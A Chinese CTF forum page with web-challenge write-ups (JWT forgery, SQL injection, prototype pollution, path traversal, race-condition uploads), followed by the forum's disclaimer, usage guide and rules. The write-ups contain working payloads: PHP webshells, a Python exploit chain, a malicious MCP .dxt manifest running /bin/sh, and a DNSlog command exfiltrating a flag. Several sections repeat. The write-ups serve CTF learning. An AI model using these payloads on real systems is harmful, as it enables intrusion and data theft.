经核查，靶场数据已全部丢失，无法找回。在此，我对服务器的所有用户表示抱歉，我们将经快完成修复工作，尽量在四月初恢复靶场的运作。

做完后的感觉，烦死了

only real
dirsearch扫描发现flag.php文件

得到flag

only_real_revenge

查看源码后得到账号密码，登录后bp抓包

发现jwt_token,暴力破解并构造新的admin的jwt

修改后放行，成功解锁上传文件
发现此处会对php eval flag等关键字过滤且前端验证文件类型采用<?=cat /f*?>和抓包改名的方式绕过
访问上传的php文件，即可得到flag

注意：此处要将token改为修改后的

DXT
此题为mcp服务器上传.dxt文件进行rce
查阅资料制作文件
manifest.json
内容如下
{
"dxt_version": "0.1",
"name": "oob-exploit",
"version": "1.0.0",
"description": "OOB Exploit",
"author": {
"name": "Hacker",
"email": "hacker@example.com"
},
"server": {
"type": "stdio",
"entry_point": "/bin/sh",
"mcp_config": {
"command": "/bin/sh",
"args": [
"-c",
"此处输入要执行的命令"
]
}
}
}
将他zip压缩，因为.dxt文件的本质为zip,直接将后缀改成.dxt
由于此处执行命令不会回显，于是用DNSlog回显的方法得到flag
执行命令ping $(cat /flag).mcd2fp.dnslog.cn
即可得到flag

Broken Trust

注册并登录
登录后发现一个查找器

猜测的此处可以进行sql注入
注入后发现admin的uid


登录后通过遍历目录拿到flag
api/admin?action=backup&file=..//flag

ez_python
这个python代码在 / 路由通过 merge 函数将 POST 的 JSON 递归合并到全局 instance 对象。利用此漏洞，发送 {"config": {"filename": "/flag"}} 即可将 instance.config.filename 改为 /flag，随后访问 /read 便读取并返回 flag。

醉里挑灯看剑

/api/caps/sync 在插入用户提供的操作记录后，会自动追加一条 source 为 "server-tail" 的尾记录。由于记录按 source 字典序排序后插入，用户只需设置 source 比 "server-tail" 大的字符串（如 "z1"），就能让尾记录先被插入，而用户记录后插入成为最新记录。该记录的 role 和 lane 若被设为 null（通过 keepRole: false 和 keepLane: false），在查询时会被 COALESCE 默认值 'maintainer' 和 'release' 覆盖，从而获得高权限。获得高权限后，即可调用 /api/release/execute 执行表达式。黑名单通过小写字符串匹配过滤关键字，但可利用 Unicode 转义（如 \u0063onstructor）绕过检测。通过 tools.sha1.constructor 获取 Function 构造函数，进而执行任意代码，读取环境变量 RUNNER_KEY。此密钥用于生成 release 证明，结合之前获取的 challenge nonce 即可计算出有效 proof，最终在 /api/release/claim 中提交并拿到 flag。

import requests
import hashlib

class CTFChallengeSolver:
def init(self, base_url):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.headers = {}
self.token = ""
self.sid = ""
self.runner_key = ""
self.nonce = ""

def _request(self, method, endpoint, **kwargs):
    url = f"{self.base_url}{endpoint}"
    kwargs.setdefault('headers', {}).update(self.headers)
    
    try:
        response = self.session.request(method, url, **kwargs)
        response.raise_for_status()
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"请求失败 [{method} {endpoint}]: {e}")
        if 'response' in locals() and response.status_code == 401:
            print("检查 Token 是否过期或无效")
        exit(1)

def get_guest_token(self):
    data = self._request('POST', '/api/auth/guest')
    self.token = data.get("token")
    self.sid = data.get("claims", {}).get("sid")
    
    if not self.token or not self.sid:
        print("无法从响应中提取 Token 或 SID")
        exit(1)
        
    self.headers["Authorization"] = f"Bearer {self.token}"
    print(f"Token: {self.token}")
    print(f"SID: {self.sid}")

def sync_capabilities(self):
    payload = {
        "ops": [
            {"source": "z1", "note": "a", "keepRole": False, "keepLane": False},
            {"source": "z2", "note": "a", "keepRole": False, "keepLane": False}
        ]
    }
    result = self._request('POST', '/api/caps/sync', json=payload)
    print(f"Sync response: {result}")

def get_runner_key(self):
    payload = {
        "expression": "ctx.tools.sha1['\\u0063onstructor']('return \\u0070rocess.env.RUNNER_KEY')()",
        "input": {}
    }
    data = self._request('POST', '/api/release/execute', json=payload)
    self.runner_key = data.get("result")
    
    if not self.runner_key:
        print("无法获取 RUNNER_KEY")
        exit(1)
        
    print(f"RUNNER_KEY: {self.runner_key}")

def get_challenge_nonce(self):
    data = self._request('POST', '/api/release/challenge')
    self.nonce = data.get("nonce")
    
    if not self.nonce:
        print("无法获取 Nonce")
        exit(1)
        
    print(f"Nonce: {self.nonce}")

def claim_flag(self):
    proof_str = f"{self.sid}:{self.nonce}:{self.runner_key}"
    proof = hashlib.sha1(proof_str.encode()).hexdigest()
    
    payload = {
        "nonce": self.nonce,
        "proof": proof
    }
    
    result = self._request('POST', '/api/release/claim', json=payload)
    flag = result.get("flag", "未找到 Flag 字段")
    print(f"Flag: {flag}")

def run(self):
    self.get_guest_token()
    self.sync_capabilities()
    self.get_runner_key()
    self.get_challenge_nonce()
    self.claim_flag()

if name == "main":
BASE_URL = "http://80-9c2b8646-841e-4439-b861-358f760b18e0.challenge.ctfplus.cn/"
solver = CTFChallengeSolver(BASE_URL)
solver.run()

AutoPypy
Web 服务允许上传 Python 脚本并在沙箱中运行，但上传时未过滤文件名，可利用路径穿越将恶意脚本写入宿主机的 Python 库目录。利用 Python 自动加载 sitecustomize.py 的特性，当服务器执行任何脚本时，恶意代码会在沙箱启动前以宿主机权限运行，从而读取 flag。
恶意代码：
import os
for path in ['/flag', '/home/ctf/flag', 'flag']:
if os.path.exists(path):
with open(path) as f:
print(f.read())
上传后保存/usr/local/lib/python3.10/site-packages/sitecustomize.py
在此执行命令即可

Not a Node

边缘运行时的底层 C++ 绑定将文件读写接口暴露在 __runtime._internal.lib.symbols 中，但函数名被混淆（如 _0x72656164 对应 read）。常规字符串路径会被运行时自动添加工作目录前缀并补全 Null 字节，导致 ../flag 失效。通过 TextEncoder 将路径转为 Uint8Array 字节流直接调用底层函数，绕过了 JS 层的路径预处理，使回溯生效。同时，十六进制编码属性名规避了 WAF 对 globalThis 等关键词的拦截，最终成功读取根目录下的 Flag。
恶意代码为：
export default {
async fetch(req) {
// 获取运行时内部工具（使用十六进制混淆绕过检测）
const R = __runtime;
const tools = R["\x5f\x69\x6e\x74\x65\x72\x6e\x61\x6c"]["\x6c\x69\x62"]["\x73\x79\x6d\x62\x6f\x6c\x73"];
const READ = "\x5f\x30\x78\x37\x32\x36\x35\x36\x31\x36\x34"; // "_0x72656164" 的十六进制表示

// 定义动态文件读取函数（避免直接使用敏感词）
const getF = (p) => {
  try {
    // 将路径转换为 Uint8Array 绕过路径检查
    const bytes = new TextEncoder().encode(p);
    return tools[READ](bytes);
  } catch (e) {
    return e.message;
  }
};

// 读取 flag 文件（使用相对路径绕过目录限制）
const flag = getF("\x2e\x2e\x2f\x66\x6c\x61\x67"); // "../flag" 的十六进制表示
return new Response(flag);

}
};

ezpollute
通过 /api/config 接口的 merge 函数存在原型污染漏洞，攻击者可利用 constructor.prototype 向 Object.prototype 注入 NODE_OPTIONS="-r /flag"。访问 /api/status 时，子进程启动会继承污染后的环境变量，从而加载 /flag 模块并输出 flag，最终在响应中获取。此攻击结合了原型污染与 Node.js 环境变量注入，实现了远程代码执行。
恶意脚本
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}

3-1 sql_search
直接用sqlmap爆出所有的表
sqlmap -u http:///?search=1 --tables --drop-set-cookie

猜测是在flagggggggg表中
sqlmap -u http:///?search=1 -T flaggggggggggg --dump --drop-set-cookie

3-2 The_Gift
这道题是PHP变量覆盖漏洞。代码中foreach循环使用key=key等价于 $ config['isAdmin']='true'，把原对象覆盖为数组。最终判断条件满足，输出Flag。访问/?config[isAdmin]=true即可获取。

3-3 并发上传
此题发现一个上传文件的地方，结合题目名字，利用条件竞争
使用<?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>，执行后可以写入一个1.php文件，从而有一句话木马。

利用bp不断上传，不断访问，如下图显示上传成功。

蚁剑连接后即可

建议参考：https://blog.lololowe.com/posts/434b/

3-4 杰尼龟系统
用cat打开即可

3-5 Signed_Too_Weak
登录后发现网址中key为jwt.token
http://01c83b31-3254-4f77-96fc-a84dd7ec2081.www.polarctf.com:8090/index.php?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQyNjkxMTksImV4cCI6MTc3NDI3MjcxOX0.ieerVYPbYDUowpGaQNEkg82lbUxL-ijimTAVz10xDgM
破解密钥为polar

3-6 Pandora_Box

根据这个可知我们访问文件会在后面强制加上.php
于是想到伪协议zip://上传压缩包解压文件上传木马
将一句话木马压缩进压缩包，后缀改为.png
因为zip://的特性仍可以解压
上传后用/?file=zip://upload/3ef4b7eae3892ed4a42fc6f02c78a4f8.png%23shell连接蚁剑即可

3-7 static
由题可知：路径必须以static/开头。
禁止危险协议（php://等）和编码（%2f等）。
关键字（eval、system、../等）会被替换为空。
我可以发现：
过滤不彻底：hard_filter对../和关键字（如eval）的处理是替换为空，而非直接拒绝，导致可以构造特殊路径绕过。
路径拼接逻辑：file被拼接.php后，realpath解析可能突破static/限制。
构造 Payload：
?file=static/eval../flag

3-8 云中来信
由题目可知，此题为SSRF
我们这题是@绕过
一个完整的 URL 结构其实是这样的： 协议://用户名:密码@主机名:端口/路径
根据题目名可知此为https://cloud.tencent.com/developer/article/2437306
操作如下：

3-9 狗黑子最后的起舞
dirsearch扫描发现如下

注册后的登录

登录后发现一个新目录

用dirsearch扫描得到

联想到.git泄漏(具体参考此文章git泄漏)
用githcak后发现

上传一个文件到etc文件夹下，然后对文件进行解压
思路如下：
我们需要想办法使得主目录中访问/etc中的文件，故使用软链接的方式实现

因为没有上传页面，就要自己写一个

上传文件，此处参考（赛博潇湘-gouhezi起舞） (PS：当然不是因为作者懒才引用别人的wp,嘿捏捏)
第一个文件
1.```bash
创建软链接，让 ghz 指向网站根目录

```bash
ln -s /var/www/html ghz

 带上 --symlinks 参数打包，这步极其关键！
zip --symlinks 1.zip ghz

第二个文件

# 1. 删除刚才建的软链接，因为接下来我们要建一个真实的同名文件夹
rm -rf ghz

# 2. 创建真实文件夹，名字必须和软链接一模一样
mkdir ghz

# 3. 在文件夹里写入 PHP 一句话木马（密码为 cmd）
echo '<?php @eval($_POST["cmd"]); ?>' > ghz/shell.php

# 4. 正常递归打包文件夹
zip -r 2.zip ghz/

上传即可
上传成功返回如下

然后连接蚁剑即可

3-10 coke的粉丝团
注册后在52页有10级粉丝牌
购买任意商品，抓包

修改后购买
点击flag
发现要admin

抓包，破解jwt即可

3-11 GET
我们访问robot.txt
If it won't open, maybe try including each other and see.
提示我们可以用双写文件后缀名绕过，上传php
因为由内容检查，我们考虑用ascll码拼接变形，进行直接命令执行

<?php
 
$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
 
$cmd = '';
 
$cmd_chars = [108,115];
foreach($cmd_chars as $ascii) {
    $cmd .= chr($ascii);
}
 
@$func($cmd);
?>

修改此处执行命令

后来我们在主目录发现可疑文件

用cat读取在源码中发现flag

3-12 新年贺卡
分析源码可知这是任意文件写入+模板注入导致RCE

直接写入用户提交的内容
具体操作入下：
1.访问以下URL获取模板添加表单：
http:///?action=admin&debug=/%20*/_form
2.使用curl提交恶意PHP代码：
curl -X POST "http:///?action=admin&debug=add_template"
-d "template_name=shell"
-d "template_content=<?php system($_GET['cmd']); ?>"
使用此链接执行命令,http:///templates/shell.php?cmd=cat /flag.txt 即可得到flag

总结：
此比赛较为基础，考察对基础知识的扎实程度。
通过这次比赛可以看出仍要对php伪协议，变形木马，linux命令做进一步了解。
对此我要吟诗一首：

沙场鏖战破迷烟，
比试方知技未全。
靶上玄机深似海，
场归勤垦筑基坚。

总而言之：课旷少了(bushi

说真的，我不明白，为什么大家都在谈论着web的靶场打不开，烦死了，嬲

3-1 sql_search
直接用sqlmap爆出所有的表
sqlmap -u http:///?search=1 --tables --drop-set-cookie

猜测是在flagggggggg表中
sqlmap -u http:///?search=1 -T flaggggggggggg --dump --drop-set-cookie

3-2 The_Gift
这道题是PHP变量覆盖漏洞。代码中foreach循环使用key=key等价于 $ config['isAdmin']='true'，把原对象覆盖为数组。最终判断条件满足，输出Flag。访问/?config[isAdmin]=true即可获取。

3-3 并发上传
此题发现一个上传文件的地方，结合题目名字，利用条件竞争
使用<?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>，执行后可以写入一个1.php文件，从而有一句话木马。

利用bp不断上传，不断访问，如下图显示上传成功。

蚁剑连接后即可

3-12 新年贺卡
分析源码可知这是任意文件写入+模板注入导致RCE

直接写入用户提交的内容
具体操作入下：
1.访问以下URL获取模板添加表单：
http:///?action=admin&debug=/%20*/_form
2.使用curl提交恶意PHP代码：
curl -X POST "http:///?action=admin&debug=add_template"
-d "template_name=shell"
-d "template_content=<?php system($_GET['cmd']); ?>"
使用此链接执行命令,http:///templates/shell.php?cmd=cat /flag.txt 即可得到flag

你说的对，但是《CTF》是由米忽悠自主研发的一款全新网络安全竞赛。竞赛发生在一个被称作「网络空间」的虚拟世界，在这里，被大神选中的人将被授予「0day」，导引各种黑客技术。你将扮演一位名为「CTFer」的神秘角色，在自由的解题中邂逅性格各异、能力独特的队友们，和他们一起攻克难题，找回失落的flag——同时，逐步发掘「CTF」的真相。

欢迎访问赛博潇湘CTF论坛（以下简称“本论坛”）。本论坛是一个由网络安全爱好者自发组织的非盈利性技术交流平台，旨在促进网络安全技术的学习、分享与进步。在使用本论坛前，请仔细阅读以下免责声明。您继续使用本论坛，即视为您已充分理解并同意接受本免责声明全部条款的约束。

一、平台性质与信息真实性
非官方观点：本论坛所有内容（包括但不限于文章、帖子、评论、代码、工具等）均由用户自行发布，仅代表用户个人观点，不代表本论坛立场。本论坛不对任何用户发布信息的准确性、完整性、可靠性、合法性或有效性作任何明示或暗示的担保或承诺。

技术交流目的：本论坛提供的所有技术资料、讨论内容及实验环境（如CTF靶场）仅限于合法的学习、研究和技术交流目的。用户不得将本论坛的任何信息用于非法用途或违反用户守则的行为。

二、用户行为责任
完全责任自负：用户应对其在本论坛的一切行为（包括但不限于发布内容、私信沟通、参与比赛、进行技术测试等）独立承担全部法律责任。用户必须确保其行为符合中华人民共和国法律法规、本论坛用户守则以及社会公序良俗。

合法合规义务：用户在使用本论坛服务时，不得进行任何违法或违规活动，包括但不限于攻击论坛主站、传播恶意软件、侵犯他人隐私、进行非法交易、泄露国家秘密等。若用户违反上述义务，本论坛有权在不事先通知的情况下采取删除内容、封禁账号等措施，并保留配合司法机关调查的权利。

三、免责条款
违规行为免责：对于任何用户违反本论坛用户守则或国家法律法规的行为，以及因此类行为导致的任何直接或间接损失（包括但不限于数据丢失、系统瘫痪、名誉损害、法律诉讼、行政处罚等），本论坛及其管理团队、主办方不承担任何形式的责任。一切后果由违规用户自行承担。

技术风险免责：本论坛提供的技术讨论、代码示例、工具下载等可能存在潜在风险（如漏洞利用可能对用户自身系统造成影响）。用户在使用或参考此类信息时，应自行评估风险并采取必要的安全措施。因使用本论坛信息导致的任何技术故障、数据损坏或安全事件，本论坛不承担责任。

第三方链接免责：本论坛中可能包含指向第三方网站的链接。此类链接仅为方便用户提供，不代表本论坛对第三方网站内容的认可或担保。用户访问任何第三方链接所产生的一切风险和责任均由用户自行承担。

不可抗力免责：因不可抗力（包括但不限于自然灾害、战争、骚乱、罢工、政府行为、互联网服务提供商故障、黑客攻击、计算机病毒等）导致本论坛无法正常运行或用户数据丢失、泄露、损坏的，本论坛在法律法规允许的范围内免于承担责任。

用户纠纷免责：用户之间因在本论坛的交流、合作或争议而产生的任何纠纷（包括但不限于言语冲突、知识产权争议、经济纠纷等），应由当事人自行协商解决或通过法律途径处理。本论坛无义务介入此类纠纷，也不承担任何责任。

四、权利保留
管理权利：本论坛管理团队有权根据用户守则和本免责声明，对任何违规内容或行为采取必要措施，包括但不限于删除、屏蔽、禁言、封禁账号等，但本论坛不承担主动监控所有用户行为的义务。

修改权利：本论坛保留随时修改、更新本免责声明的权利。修改后的免责声明一经发布，立即生效。用户继续使用本论坛服务即视为接受修改后的条款。

最终解释权：本免责声明的最终解释权归赛博潇湘管理团队所有。

请您自觉遵守法律法规和论坛规则，共同维护安全、友好、纯净的技术交流环境。

赛博潇湘管理团队
2026年3月11日

赛博潇湘 Wiki 及靶场使用说明

欢迎使用赛博潇湘平台！本平台包含 Wiki（知识库）、论坛 与 CTF 靶场 三个独立子系统。为保障安全与资源合理分配，三个平台的账号不互通，注册与激活方式各不相同。请务必仔细阅读以下说明，以免影响您的使用体验。

---

1. 平台概述

平台	主要功能	账号系统	激活方式
赛博潇湘 Wiki	网络安全知识库、技术文档、教程	独立账号	注册后联系管理员手动激活
赛博潇湘论坛	技术交流、问题求助、资源共享	独立账号	自助注册（无需特殊激活）
CTF 靶场	在线夺旗训练、实战演练	独立账号	凭管理员统一发放的激活码注册/激活

️ 重要提示：三个平台的账号、密码、积分、权限均不互通，您需要在每个平台分别注册。

---

2. 赛博潇湘 Wiki 使用说明

2.1 注册流程

1. 访问 Wiki 首页按提示注册或登录。
2. 填写用户名、邮箱、密码等基本信息。
3. 提交注册后，您的账号状态为“未激活”，此时无法浏览内部文档或进行编辑。

2.2 激活方法

• 注册完成后，必须通过以下任意一种方式联系管理员申请激活：
  • 发送邮件至 admin@cyberxiaoxiang.org，邮件标题请注明“Wiki激活申请”，内容中提供您的注册用户名及注册邮箱。
  • 加入官方 QQ 群/微信群（群号请见论坛置顶帖），私聊群主或管理员，发送“Wiki激活+用户名”。
• 管理员通常会在 24 小时内完成激活。激活成功后您将收到邮件通知或群内回复。
• 激活后即可正常登录并享有 Wiki 的阅读与贡献权限。

2.3 注意事项

• 请勿使用临时邮箱注册，否则可能被拒绝激活。
• 若超过 3 个工作日仍未激活，请再次联系管理员。

---

3. 赛博潇湘论坛 使用说明

论坛采用自助注册即时开通模式，无需人工干预。

1. 访问论坛首页，点击“立即注册”。
2. 按提示填写信息，完成邮箱验证（部分邮箱可能存在延迟，请耐心等待或检查垃圾箱）。
3. 注册成功后即可发帖、回帖、下载附件。

论坛账号与 Wiki、靶场完全独立，请勿混淆用户名与密码。

---

4. CTF 靶场 使用说明

CTF 靶场采用激活码准入机制，每个激活码由管理员统一生成并发放。没有激活码无法注册/使用靶场。

请勿私下交易激活码，一经发现将封禁相关账号并追究责任。

4.1 注册与激活步骤

1. 访问靶场登录/注册页面。
2. 点击“注册新账号”，填写用户名、邮箱、密码。
3. 在“激活码”栏中准确输入管理员发放的激活码（区分大小写）。
4. 提交后若激活码有效，账号即被激活，可直接登录使用。
5. 若提示激活码无效或已使用，请检查输入或联系管理员。

4.2 激活码使用规则

• 每个激活码仅限注册一个账号，且一旦使用即失效。
• 激活码通常设有有效期，请在有效期内完成注册。
• 激活码与使用者身份绑定，请勿转借他人。

---

5. 常见问题

Q1：我忘记自己注册的是哪个平台了，怎么办？
A：三个平台账号独立，若遗忘可分别尝试登录，或通过各平台“找回密码”功能重置。

Q2：Wiki 激活邮件被退回怎么办？
A：请检查邮箱地址是否正确，或更换 QQ、网易等主流邮箱再次发送申请。也可直接通过社群联系管理员。

Q3：论坛注册后收不到验证邮件？
A：请稍等 5~10 分钟，查看垃圾箱；若仍未收到，可尝试更换浏览器重试，或联系论坛技术支持。

Q4：靶场激活码丢了/过期了怎么办？
A：请联系原发放人（管理员/导师/队长）核实身份，申请重新发放。过期激活码无法恢复，需申请新码。

---

6. 联系我们

• 官方邮箱：support@cyberxiaoxiang.org（处理账号、激活码问题）

---

赛博潇湘运营团队
本说明最后更新：2026年2月
版本：v1.0

站长：海湾上的北辰
站长QQ：2279388283
站长邮箱：2279388283@qq.com
官方邮箱：xiaoxiangcyber@outlook.com

赛博潇湘CTF论坛用户守则（修订版）

序言

欢迎来到赛博潇湘CTF论坛！为维护安全、友好、专业的网络安全技术交流环境，保障论坛与用户的合法权益，请所有用户在参与讨论、学习与实践前，仔细阅读并遵守本守则。

---

第一章 总则

第一条 所有用户须遵守中华人民共和国法律法规，尊重社会主义核心价值观，维护国家安全与网络空间秩序。

第二条 本论坛是由网络安全爱好者自发组织的非盈利性技术交流平台，旨在促进网络安全技术交流、学习与进步，提倡分享、协作、创新的极客精神。

第三条 用户须对自身账号的一切行为负责，不得转让、出借或共享账号。

---

第二章 核心安全规范

第四条 【严禁攻击原则】
用户严禁以任何形式对赛博潇湘CTF论坛主站、子站、后台系统、数据库及任何非明确标注为“靶场”或“实验环境”的在线服务进行未经授权的技术测试或攻击，包括但不限于：

• 渗透测试、漏洞扫描
• DDoS攻击、压力测试
• 未授权的数据访问、篡改或删除
• 利用漏洞获取管理员或他人权限
• 上传webshell、植入后门等恶意行为

第五条 【靶场例外原则】
论坛设立的专用CTF靶场、实验环境或明确标注“允许安全测试”的模拟系统，在遵循相应靶场规则的前提下，允许进行授权的安全技术研究与测试。

第六条 【漏洞报告机制】
若用户发现论坛非靶场系统存在安全漏洞，应立即通过以下方式报告：

• 发送邮件至：2279388283@qq.com
• 通过站内私信联系管理员组
  禁止公开披露漏洞细节，论坛将根据漏洞严重性给予相应奖励与致谢。

第七条 【非盈利与禁止交易原则】

1. 本论坛为非盈利性组织，不涉及任何商业经营活动。
2. 禁止在论坛任何板块（包括但不限于公开帖子、私信、签名档等）进行任何形式的交易行为，包括：
   • 买卖账号、邀请码
   • 交易漏洞、漏洞利用工具、攻击服务
   • 有偿代打比赛、解题服务
   • 任何形式的金钱或实物交易
3. 技术分享应遵循开源、共享精神，不得变相进行商业化推销。

---

第三章 内容与行为规范

第八条 禁止发布下列内容：

1. 危害国家安全、泄露国家秘密、颠覆国家政权、破坏国家统一的内容
2. 涉黄、涉赌、涉毒、涉暴等违法信息
3. 侵犯他人知识产权、商业机密或个人隐私
4. 恶意软件、攻击工具（仅限于公开学术讨论，不得提供可执行文件或利用教程）
5. 广告、垃圾信息、无关推广内容

第九条 【比赛期间特别规范】
在论坛主办或协办的任何CTF比赛（包括练习赛）进行期间：

1. 严格禁止在论坛公开板块、私聊群组、私信等任何渠道交流题目解法、flag、提示或任何可能影响比赛公平性的信息
2. 比赛相关疑问仅可向组委会指定渠道（如比赛平台提问系统）提出
3. 禁止公开讨论未结束赛题的潜在漏洞或攻击路径
4. 比赛结束后，组委会将开放题目解析讨论，届时可在指定板块进行技术交流

第十条 技术讨论应遵循：

1. 分享与学习目的优先，不得教授、策划针对真实系统的非法入侵
2. 涉及敏感技术细节时，应做脱敏处理，避免造成现实危害
3. 尊重他人成果，转载须注明来源

第十一条 社区交流应：

1. 保持友好、理性的讨论氛围，禁止人身攻击、歧视或引战
2. 遵守版块主题，不得恶意刷屏、灌水
3. 妥善保管自身账号，如发现异常及时联系管理员
4. 比赛期间，不得通过任何形式共享账号、协同解题（团队赛除外）

---

第四章 责任与处罚

第十二条 违反本守则者，论坛管理团队将视情节采取以下措施：

• 警告、删帖、短期禁言
• 永久封禁账号及关联账号
• 对于比赛违规行为，组委会有权取消参赛者或团队成绩
• 保留追究法律责任的权力，并配合公安机关调查

第十三条 因用户违规行为造成的任何损失，由该用户独立承担全部责任。

---

第五章 附则

第十四条 本守则自发布之日起生效，论坛保留修订与解释权。

第十五条 用户继续使用赛博潇湘CTF论坛服务，即视为已阅读、理解并同意遵守本守则全部内容。

---

安全研究的路很长，我们鼓励你在合法合规的舞台上施展才华。
保护这个世界，也从保护我们的社区开始。
请共同维护这片纯净、公平、开放的技术交流天地。

赛博潇湘管理团队
2026年2月1日